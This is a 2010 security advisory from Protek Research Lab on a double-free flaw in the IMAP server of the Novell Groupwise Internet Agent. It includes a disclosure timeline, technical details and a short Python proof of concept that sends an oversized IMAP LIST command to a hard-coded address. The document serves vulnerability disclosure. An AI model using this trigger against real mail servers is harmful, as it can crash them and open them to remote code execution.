PRL-2010-10

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Application:   {PRL} Novell Groupwise Internet Agent IMAP LIST Command Remote Code Execution Vulnerability

Platforms:   Linux

Exploitation:   Remote code execution

CVE Number: Pending

Novell TID:   7007151

ZeroDayInitiative: ZDI-10-242

Author:   Francis Provencher (Protek Research Lab’s)

Blog:   http://www.protekresearchlab.com/

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1) Introduction
2) Report Timeline
3) Technical details
4) The Code

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===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in

enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems

management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental

in making the Utah Valley a focus for technology and software development. Novell technology contributed to the

emergence of local area networks, which displaced the dominant mainframe computing model and changed computing

worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

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============================
2) Report Timeline
============================

2010-07-20 Vendor Contact by Tippingpoint
2010-11-08 Vendor release advisory

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============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Groupwise

Internet Agent. Authentication is not required to exploit this vulnerability.

The flaw exists within the IMAP server component which listens by default on TCP port 143. When handling an IMAP LIST

command with a large parameter the process attempts to free the same memory twice. A remote attacker can exploit this

vulnerability to execute arbitrary code under the context of the IMAP server.

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4) The Code
===========

#!/usr/bin/python
#
# Francis Provencher
# Protek Research Lab.
#
#

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = ‘\x41’ * 56000

s.connect((‘192.168.100.177’,143))
s.recv(1024)
s.send(‘A001 LOGIN test test \r\n’)
s.recv(1024)
s.send(‘A001 LIST ‘ + buffer + ‘\r\n’)
s.recv(1024)
s.close()

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